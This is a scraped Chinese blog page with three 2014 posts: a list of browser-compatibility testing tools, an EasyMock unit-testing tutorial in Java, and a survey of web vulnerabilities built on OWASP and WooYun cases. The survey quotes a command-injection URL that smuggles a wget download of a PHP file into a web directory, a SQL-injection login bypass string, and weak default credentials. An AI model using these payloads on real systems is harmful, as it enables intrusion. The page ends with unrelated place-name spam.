            1.IETab:這是我最喜歡的和最好的免費(fèi)工具之一。這基本上是一個(gè)Firefox和Chrome瀏覽器的插件。只需簡單的單擊鼠標(biāo)就可以從Firefox和Chrome瀏覽器中看到該網(wǎng)頁在InternetExplorer中將如何被顯示。
            2.MicrosoftSuperPreview:這是微軟提供的免費(fèi)工具。它可以幫助你檢查在各種版本的InternetExplorer下網(wǎng)頁是如何顯示的。你可以用它來測試和調(diào)試網(wǎng)頁的布局問題。你可以在微軟的網(wǎng)站上免費(fèi)下載此工具。
            3.SpoonBrowserSandbox:您可以使用此測試工具在幾乎所有主要的瀏覽器下測試Web應(yīng)用程序,如Firefox,Chrome和Opera。最初,它也支持IE,但在過去的幾個(gè)月里,它減少了對IE的支持。
            4.Browsershots:使用這個(gè)免費(fèi)的瀏覽器兼容性測試工具,可以測試在任何平臺和瀏覽器的組合應(yīng)用。所以,它是最廣泛使用的工具。然而由于瀏覽器和平臺的大量組合,它需要很長時(shí)間才能顯示結(jié)果。
            5.IETester:使用這個(gè)工具,你可以在各種Windows平臺測試IE各種版本的網(wǎng)頁,如WindowsVista,Windows7和XP。
            6.BrowserCam:這是一個(gè)收費(fèi)的瀏覽器兼容性在線測試工具。您可以用它的試用版進(jìn)行24小時(shí)200張圖以內(nèi)的測試。
            7.CrossBrowserTesting:這是一個(gè)完美的測試JavaScript,Ajax和Flash網(wǎng)站在不同瀏覽器中功能的工具。它提供1周免費(fèi)試用。你可以在http://crossbrowsertesting.com/上下載
            8.CloudTesting:如果你想在各種瀏覽器上測試您的應(yīng)用程序的瀏覽器兼容性,如IE,F(xiàn)irefox,Chrome,Opera,那么這個(gè)工具很適合你。
            除了這些工具,還有一些其他的工具,如IENetRenderer,Browsera,AdobeBrowserLab等,通過對這些工具進(jìn)行一段時(shí)間的研究和使用,就可以達(dá)到事半功倍的效果。

          posted @ 2014-12-22 23:46 順其自然EVO 閱讀(486) | 評論 (0)編輯 收藏

          EasyMock構(gòu)建單元測試

           1. 背景
            單元測試作為程序的基本保障。很多時(shí)候構(gòu)建測試場景是一件令人頭疼的事。因?yàn)橹暗膯卧獪y試都是內(nèi)部代碼引用的,環(huán)境自給自足。開發(fā)到了一定程度,你不得不到開始調(diào)用外部的接口來完成你的功能。而外部條件是不穩(wěn)定的。你為了模擬外部環(huán)境要?jiǎng)?chuàng)建各種文件、各種數(shù)據(jù)。嚴(yán)重影響到單元測試的效率。EasyMock應(yīng)運(yùn)而生,他提供了模擬的接口和類。不用費(fèi)神去構(gòu)建各種煩人的環(huán)境,就能開展有效的測試。
            2. 準(zhǔn)備環(huán)境
            Easymock 3.2 + JUnit 4.11
            3. 構(gòu)建測試
            a) 實(shí)際場景
            i. 你負(fù)責(zé)開發(fā)一個(gè)會計(jì)師的功能。但計(jì)算個(gè)人所得稅的接口由外部提供(鬼知道項(xiàng)目經(jīng)理是怎么想的)。
            ii. 你的代碼已經(jīng)開發(fā)完成了。負(fù)責(zé)開發(fā)個(gè)人所得稅的接口的同事老婆生了四胞胎,天天請假帶孩子。接口沒寫完。
            iii. 你要完成你的代碼并提交測試用例。前提你個(gè)懶鬼,半點(diǎn)額外工作都不想做。同事老婆生孩子又不能去催。然后你在網(wǎng)上找到了EasyMock.......
            b) 測試代碼
            i. 個(gè)人所得稅的接口
          /**
          * Copyright ? 2008-2013, WheatMark, All Rights Reserved
          */
          package com.fitweber.wheat.interfaces;
          /**
          * 計(jì)算個(gè)人所得稅
          * @author wheatmark hajima11@163.com
          * @Blog http://blog.csdn.net/super2007
          * @version 1.00.00
          * @project wheatMock
          * @file com.fitweber.wheat.interfaces.IPersonalIncomeTax.java
          * @bulidDate 2013-9-1
          * @modifyDate 2013-9-1
          * <pre>
          *    修改記錄
          *    修改后版本:     修改人:  修改日期:     修改內(nèi)容:
          * </pre>
          */
          public interface IPersonalIncomeTax {
          /**
          * 計(jì)算個(gè)人所得稅,國內(nèi),2013年7級稅率
          * @param income
          * @param deductedBeforeTax
          * @return
          */
          public double calculate(double income,double deductedBeforeTax);
          }
            ii. 會計(jì)師類中計(jì)算工資方法
          /**
          * Copyright ? 2008-2013, WheatMark, All Rights Reserved
          */
          package com.fitweber.wheat;
          import com.fitweber.wheat.interfaces.IPersonalIncomeTax;
          /**
          * 會計(jì)師類
          * @author wheatmark hajima11@163.com
          * @Blog http://blog.csdn.net/super2007
          * @version 1.00.00
          * @project wheatMock
          * @file com.fitweber.wheat.Accountant.java
          * @bulidDate 2013-9-1
          * @modifyDate 2013-9-1
          * <pre>
          *    修改記錄
          *    修改后版本:     修改人:  修改日期:     修改內(nèi)容:
          * </pre>
          */
          public class Accountant {
          private IPersonalIncomeTax personalIncomeTax;
          public Accountant(){
          }
          public double calculateSalary(double income){
          //稅前扣除,五險(xiǎn)一金中個(gè)人扣除的項(xiàng)目。8%的養(yǎng)老保險(xiǎn),2%的醫(yī)療保險(xiǎn),1%的失業(yè)保險(xiǎn),8%的住房公積金
          double deductedBeforeTax = income*(0.08+0.02+0.01+0.08);
          return income - deductedBeforeTax - personalIncomeTax.calculate(income,deductedBeforeTax);
          }
          /**
          * @return the personalIncomeTax
          */
          public IPersonalIncomeTax getPersonalIncomeTax() {
          return personalIncomeTax;
          }
          /**
          * @param personalIncomeTax the personalIncomeTax to set
          */
          public void setPersonalIncomeTax(IPersonalIncomeTax personalIncomeTax) {
          this.personalIncomeTax = personalIncomeTax;
          }
          }
            iii. 測試會計(jì)師類中計(jì)算工資方法
            或許你不知道個(gè)人所得稅的計(jì)算方式。但是你可以去百度一下。對,百度上有個(gè)人所得稅計(jì)算器。和2011年出臺的個(gè)人所得稅階梯稅率。
            通過百度的幫忙(更多的時(shí)候你要求助于業(yè)務(wù)組的同事)你可以確認(rèn)如果你同事的個(gè)人所得稅的計(jì)算接口正確的話,傳入國內(nèi)實(shí)際收入8000.00,稅前扣除1520.00。應(yīng)該返回193.00的扣稅額。然后我們可以設(shè)置我們的Mock對象的行為來模仿接口的傳入和返回。用斷言來確認(rèn)會計(jì)師的計(jì)算工資的邏輯。完成了我們的測試用例。
          /**
          * Copyright ? 2008-2013, WheatMark, All Rights Reserved
          */
          package com.fitweber.wheat.test;
          import static org.easymock.EasyMock.*;
          import junit.framework.Assert;
          import org.easymock.IMocksControl;
          import org.junit.After;
          import org.junit.Before;
          import org.junit.Test;
          import com.fitweber.wheat.Accountant;
          import com.fitweber.wheat.interfaces.IPersonalIncomeTax;
          /**
          * 會計(jì)師測試類
          * @author wheatmark hajima11@163.com
          * @Blog http://blog.csdn.net/super2007
          * @version 1.00.00
          * @project wheatMock
          * @file com.fitweber.wheat.test.AccountantTest.java
          * @bulidDate 2013-9-1
          * @modifyDate 2013-9-1
          * <pre>
          *    修改記錄
          *    修改后版本:     修改人:  修改日期:     修改內(nèi)容:
          * </pre>
          */
          public class AccountantTest {
          private IPersonalIncomeTax personalIncomeTax;
          private Accountant accountant;
          /**
          * @throws java.lang.Exception
          */
          @Before
          public void setUp() throws Exception {
          IMocksControl control = createControl();
          personalIncomeTax = control.createMock(IPersonalIncomeTax.class);
          accountant = new Accountant();
          accountant.setPersonalIncomeTax(personalIncomeTax);
          }
          /**
          * @throws java.lang.Exception
          */
          @After
          public void tearDown() throws Exception {
          System.out.println("----------AccountantTest中的全部用例測試完畢---------");
          }
          @Test
          public void testCalculateSalary(){
          //個(gè)人所得稅的計(jì)算接口還沒實(shí)現(xiàn),但會計(jì)師的計(jì)算工資的方法已經(jīng)寫好了。需要測試。
          //我們可以先Mock一個(gè)出來測試。
          //個(gè)人所得稅的計(jì)算接口正確的話,傳入實(shí)際收入8000.00,稅前扣除1520.00。應(yīng)該返回193.00.
          expect(personalIncomeTax.calculate(8000.00,1520.00)).andReturn(193.00);
          //設(shè)置到回放狀態(tài)
          replay(personalIncomeTax);
          //驗(yàn)證計(jì)算工資方法計(jì)算是否正確。
          Assert.assertEquals(8000.00-1520.00-193.00, accountant.calculateSalary(8000.00));
          verify(personalIncomeTax);
          }
          }

          4. 執(zhí)行測試
            最后是最簡單的一步了。右鍵點(diǎn)擊AccountantTest.java,Run As —> JUnit Test。得到下面的成功界面。
            PS:到上面一步,單元測試已經(jīng)是完成了。擁有好奇心的你還可以testCalculateSalary()方法里的數(shù)值去看看如果單元測試不通過會報(bào)什么錯(cuò)。
            比如,改一下所傳的參數(shù)personalIncomeTax.calculate(8000.00,1520.00)變?yōu)閜ersonalIncomeTax.calculate(9000.00,1520.00)。
            改一下斷言什么的,報(bào)錯(cuò)又會是什么。Assert.assertEquals(8000.00-1520.00-193.00, accountant.calculateSalary(8000.00));
            具體的EasyMock文檔在網(wǎng)絡(luò)上已經(jīng)漫天飛。自己去找找,深入了解下EasyMock。

          posted @ 2014-12-22 23:43 順其自然EVO 閱讀(410) | 評論 (0)編輯 收藏

          滲透測試必知必會—Web漏洞

            0x00前言
            本文為對WEB漏洞研究系列的開篇,日后會針對這些漏洞一一研究,敬請期待
            0x01 目錄
            0x00 前言
            0x01 目錄
            0x02 OWASP TOP10 簡單介紹
            0x03 烏云TOP 10 簡單介紹
            0x04 非主流的WEB漏洞
            0x02 OWASP TOP10 簡單介紹
            除了OWASP的TOP10,Web安全漏洞還有很多很多,在做測試和加固系統(tǒng)時(shí)也不能老盯著TOP10,實(shí)際上是TOP10中的那少數(shù)幾個(gè)
            直接說2013的:
            A1: 注入,包括SQL注入、OS注入、LDAP注入。SQL注入最常見,wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例,由于現(xiàn)在自動化工具非常多,通常都是找到注入點(diǎn)后直接交給以sqlmap為代表的工具
            命令注入相對來說出現(xiàn)得較少,形式可以是:
            https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;
            也可以查看案例:極路由云插件安裝shell命令注入漏洞 ,未對用戶輸入做任何校驗(yàn),因此在web端ssh密碼填寫處輸入一條命令`dropbear`便得到了執(zhí)行
            直接搜索LDAP注入案例,簡單嘗試下并沒有找到,關(guān)于LDAP注入的相關(guān)知識可以參考我整理的LDAP注入與防御解析。雖然沒有搜到LDAP注入的案例,但是重要的LDAP信息 泄露還是挺多的,截至目前,烏云上搜關(guān)鍵詞LDAP有81條記錄。
            PHP對象注入:偶然看到有PHP對象注入這種漏洞,OWASP上對其的解釋為:依賴于上下文的應(yīng)用層漏洞,可以讓攻擊者實(shí)施多種惡意攻擊,如代碼注入、SQL注入、路徑遍歷及拒絕服務(wù)。實(shí)現(xiàn)對象注入的條件為:1) 應(yīng)用程序必須有一個(gè)實(shí)現(xiàn)PHP魔術(shù)方法(如 __wakeup或 __destruct)的類用于執(zhí)行惡意攻擊,或開始一個(gè)"POP chain";2) 攻擊中用到的類在有漏洞的unserialize()被調(diào)用時(shí)必須已被聲明,或者自動加載的對象必須被這些類支持。PHP對象注入的案例及文章可以參考WordPress < 3.6.1 PHP 對象注入漏洞。
            在查找資料時(shí),看到了PHP 依賴注入,原本以為是和安全相關(guān)的,結(jié)果發(fā)現(xiàn):依賴注入是對于要求更易維護(hù),更易測試,更加模塊化的代碼的解決方案。果然不同的視角,對同一個(gè)詞的理解相差挺多的。
            A2: 失效的身份認(rèn)證及會話管理,乍看身份認(rèn)證覺得是和輸入密碼有關(guān)的,實(shí)際上還有會話id泄露等情況,注意力集中在口令安全上:
            案例1:空口令
            烏云:國內(nèi)cisco系列交換機(jī)空密碼登入大集合
            烏云:UC某服務(wù)器可空口令訪問數(shù)據(jù)庫
            案例2:弱口令
            烏云:盛大某站后臺存在簡單弱口令可登錄  admin/admin
            烏云:電信某省客服系統(tǒng)弱口令泄漏各種信息 .../123456
            烏云:中國建筑股份有限公司OA系統(tǒng)tomcat弱口令導(dǎo)致淪陷  tomcat/tomcat
            案例3:萬能密碼
            烏云:移動號碼上戶系統(tǒng)存在過濾不嚴(yán)  admin'OR'a'='a/admin'OR'a'='a (實(shí)際上仍屬于SQL注入)
            弱口令案例實(shí)在不一而足
            在烏云一些弱口令如下:其中出鏡次數(shù)最高的是:admin/admin, admin/123456
          如果要繼續(xù)深究下去或者取得更多數(shù)據(jù)進(jìn)行分析的話,結(jié)局就會如豬豬俠總結(jié)的那樣:
            當(dāng)然會話存在的安全問題也是需要考慮的,可以是令牌、token被竊取,尤其當(dāng)會話沒有設(shè)置生命周期時(shí)很容易出現(xiàn)會話/身份被劫持
            會話管理問題可以是用戶A登陸了某個(gè)地址,但是沒有注銷(奇葩情況是注銷無效),直接退出了瀏覽器又沒有清除cookie,如果說這時(shí)候有B借用A的電腦,他直接以A的身份登陸該地址是沒有問題的,這不是服務(wù)端的問題。但假設(shè)之后A都沒有訪問改地址,而是把電腦合上待機(jī)了,第二天如果B借用他的電腦直接登陸了該地址,則責(zé)任在于服務(wù)端的會話管理不當(dāng),沒有設(shè)置超時(shí)時(shí)間。除此之外,還有會話重放、會話信息泄露等問題。說到會話信息泄露,不禁想起將sessionid放在URL中的情形,鄙人暫未遇到直接利用這個(gè)可以竊取會話的,但不排除其可能
            A3: 跨站腳本(XSS),最普遍的漏洞,曾被認(rèn)為是雞肋漏洞,事實(shí)證明有時(shí)候危害很大的,竊取cookie,構(gòu)造蠕蟲不一而足。XSS的技術(shù)體現(xiàn)在Javascript功底上,現(xiàn)在很多網(wǎng)站都有針對XSS的過濾器,J2EE可以使用全局過濾器,但是過濾器基本都是使用黑名單設(shè)防,是有可能繞過的,回應(yīng)了技術(shù)體現(xiàn)在Javascript功底上。跨站腳本還有flash類型的,由于相比之下出現(xiàn)得比較少,瀏覽器和過濾器的防御精力不在這上面,如果出現(xiàn)可能更容易成功。值得一提的是,對于XSS,現(xiàn)在的掃描工具都會將其標(biāo)識為高危漏洞,實(shí)際上掃描器根據(jù)返回的響應(yīng)中是否有加入的載荷來判斷跨站腳本漏洞存在的可能性,誤報(bào)率會比較高。還有就是常規(guī)掃描器只能識別反射型XSS,反射型XSS本身危害是比較小的,存儲型XSS危害才大(危害大小看具體情況)。反射型XSS現(xiàn)在常規(guī)payload要想過IE10、IE11或chrome還是有難度的,因此XSS技術(shù)的另一個(gè)體現(xiàn)方面即是對瀏覽器特性的了解。至于存儲型XSS,則要看具體業(yè)務(wù)和數(shù)據(jù)是否會受影響,用戶交互程度越高,利用難度就越大,如果能彈框證實(shí)漏洞存在,但很難被觸發(fā)或者就算竊取到cookie也無法登陸,很難說明是高風(fēng)險(xiǎn)安全問題,但還是有修復(fù)和改進(jìn)的必要。
            A4: 不安全的直接對象引用,訪問控制不當(dāng)?shù)膯栴},常見為越權(quán)操作(橫向+縱向),譬如:遍歷用戶id批量獲取用戶信息、在HTTP請求中篡改某個(gè)參數(shù)的值就變成了其他身份進(jìn)行的操作,最激動人心的是可以進(jìn)行刷錢等操作。越權(quán)問題并不高深,相比SQL注入和XSS技術(shù)難度還要低一點(diǎn),因?yàn)橥ǔV灰膮?shù)值就可以了(一般來說)。防止此類問題的做法很簡單,當(dāng)用戶需要訪問某資源或進(jìn)行操作時(shí),服務(wù)器端取出來訪用戶的session值,判斷是否具有訪問或操作權(quán)限。
            在訪問控制操作中,我們可以設(shè)定某一資源或文件A可以訪問、B不能訪問,但是當(dāng)對應(yīng)的用戶多起來時(shí)也會遇到麻煩。也可以為用戶訪問資源或文件標(biāo)志一個(gè)權(quán)限,作為一個(gè)會話屬性,屬于自己的才可以操作或訪問,具體情況具體討論。
            案例1:水平越權(quán)
            烏云:虎撲某功能存在水平越權(quán)
            案例2: 垂直越權(quán)
            烏云:中國電信某系統(tǒng)管理員WEB界面越權(quán)訪問
            A5-A7\A9: 安全配置錯(cuò)誤\敏感數(shù)據(jù)泄露\功能級訪問控制缺失\使用含已知漏洞的組件=>運(yùn)維不當(dāng),直接看運(yùn)維不當(dāng)?shù)?/a>
            知乎專欄:運(yùn)維安全(...)
            烏云知識庫:從烏云看運(yùn)維安全那點(diǎn)事兒
            引用一下知識庫的內(nèi)容,問題有:
            struts漏洞
            Web服務(wù)器未及時(shí)打補(bǔ)丁,有解析漏洞
            PHP-CGI RCE
            FCK編輯器
            server-status信息泄露
            網(wǎng)站備份文件放在web目錄,可被下載
            列目錄導(dǎo)致可看到敏感數(shù)據(jù)并查看
            snmp信息泄露
            weblogic弱口令
            SVN信息泄露
            域傳送漏洞
            Rsync
            hadoop對外
            nagios信息泄露
            ftp弱口令或支持匿名訪問導(dǎo)致信息泄露
            RTX泄露信息
            Ganglia信息泄露
            j2ee應(yīng)用架構(gòu)開始占主流,典型的web服務(wù)器搭配配置失誤
            Jenkins平臺沒有設(shè)置登錄驗(yàn)證
            zabbix
            zenoss監(jiān)控系統(tǒng)
            Resin文件讀取
            memcache未限制訪問IP
            JBoss問題
            測試服務(wù)器外網(wǎng)可訪問
            padding oracle attack
            用戶名密碼放在服務(wù)器上……
            A8: 跨站請求偽造(CSRF)
            CSRF曾被稱為沉睡的巨人,以前拿來舉例時(shí)都是說Alice給Bob轉(zhuǎn)錢,結(jié)果morry插了一腳,錢就跑到morry家去了。危害可大可小,直接通過URL增刪改操作的也還有,更多的還是基于表單。如果是XSS+CSRF =>蠕蟲 就比較可觀了,也曾看到過直接get root的案例
          案例:萬達(dá)電影主站 xss + csrf
            A10: 無效的重定向
            控制重定向可以釣魚,可以獲取敏感文件的信息,在struts2中也有開放重定向的命令執(zhí)行
            0x03 烏云TOP 10 簡單介紹
            上述就是OWASP TOP10的WEB漏洞,烏云出了一個(gè)更加符合中國國情的 烏云:Top10 for 2014,看著也是觸目驚心
            A1-互聯(lián)網(wǎng)泄密事件/撞庫攻擊
            本質(zhì)上來說是使用了不安全的口令,也許我可以將自己的密碼設(shè)置的很復(fù)雜,別人破解不出來。但對于撞庫攻擊而言,可以說是不怕神一樣的對手,就怕豬一樣的隊(duì)友。我們注冊使用的網(wǎng)站或服務(wù)商他們保存了我們使用的密碼,而很多時(shí)候被泄露出去了我們并不知道。這也是考驗(yàn)我們密碼習(xí)慣的時(shí)候了,強(qiáng)密碼+不同的密碼,當(dāng)然密碼多了也難以記住,不行就借助軟件或者普通賬號用同一個(gè)密碼,重要賬號用不同密碼吧
            A2-引用不安全的第三方應(yīng)用
            舉的例子是heart bleed漏洞使用的openssl,另外struts2的漏洞也還數(shù)見不鮮,其次就是CMS如wordpress使用的插件,當(dāng)然shellshock也會有很多中槍的
            A3-系統(tǒng)錯(cuò)誤/邏輯缺陷帶來的暴力猜解
            暴力破解:沒對請求和錯(cuò)誤次數(shù)做限制;重放攻擊同樣是沒做檢驗(yàn)或限制
            A4-敏感信息/配置信息泄露
            包括但不限于目錄遍歷、日志、配置文件、svn目錄、github或其他博客等地方
            A5-應(yīng)用錯(cuò)誤配置/默認(rèn)配置
            包括但不限于默認(rèn)路徑、默認(rèn)口令、目錄穿越、任意文件下載等
            A6-SQL注入漏洞
            A7-XSS跨站腳本攻擊/CSRF
            A8-未授權(quán)訪問/權(quán)限繞過
            可匿名訪問\判斷referer值后免登陸
            A9-賬戶體系控制不嚴(yán)/越權(quán)操作
            A10-內(nèi)部重要資料/文檔外泄
            還是信息泄露,但是做了區(qū)分,不同于應(yīng)用或服務(wù)器的信息泄露,專指內(nèi)部信息泄露喲
            0x04 非主流的WEB漏洞
            實(shí)際上,如果要挖漏洞或者做測試,從烏云上找案例會比較方便,除了常見的幾類代碼層面的問題,更多的是配置不當(dāng)方面的,最終歸結(jié)到信息安全鏈上最脆弱的還是人本身
            除了上面提到的這些,其實(shí)還有很多的漏洞啊,跟設(shè)備有關(guān)系的就先不說了,再提一下兩個(gè)看起來不錯(cuò)的:XXE、SSRF(or XSPA)
            XXE:XML外部實(shí)體注入,不僅僅是敏感信息泄露,騰訊安全中心:XXE漏洞攻防
            案例:
            1. 烏云:百度某功能XML實(shí)體注入
            2. 烏云:139郵箱XXE漏洞可讀取文件
            3. 烏云:從開源中國的某XXE漏洞到主站shell
            SSRF(服務(wù)端請求偽造): 據(jù)說用這招可以成功多次進(jìn)入阿里、騰訊、百度等的內(nèi)網(wǎng),沒爆出來的估計(jì)很多被用作殺器了
            案例:
            1. 烏云:百度貼吧SSRF
            2. 烏云:新浪SSRF
            3. 烏云:阿里巴巴SSRF
            上面幾個(gè)案例有的是分享功能,有的是其他功能,共同點(diǎn)在于都是跟的url參數(shù),且沒做限制,導(dǎo)致內(nèi)網(wǎng)信息泄露
            (未完...)

          posted @ 2014-12-22 23:42 順其自然EVO 閱讀(1400) | 評論 (0)編輯 收藏

          僅列出標(biāo)題
          共394頁: 上一頁 1 2 3 4 5 6 7 8 9 下一頁 Last 
          <2025年7月>
          293012345
          6789101112
          13141516171819
          20212223242526
          272829303112
          3456789

          導(dǎo)航

          統(tǒng)計(jì)

          常用鏈接

          留言簿(55)

          隨筆分類

          隨筆檔案

          文章分類

          文章檔案

          搜索

          最新評論

          閱讀排行榜

          評論排行榜

          主站蜘蛛池模板: 枣阳市| 洞头县| 酉阳| 射阳县| 普洱| 绥宁县| 平山县| 中牟县| 县级市| 两当县| 察哈| 塔河县| 陵川县| 吉木乃县| 图木舒克市| 安阳市| 宜城市| 万年县| 辽中县| 泾川县| 汨罗市| 太原市| 乌鲁木齐县| 麻江县| 沅陵县| 马边| 阳谷县| 铜川市| 龙海市| 西昌市| 北票市| 彭泽县| 商城县| 策勒县| 江源县| 梨树县| 襄城县| 遂川县| 滕州市| 乐清市| 招远市|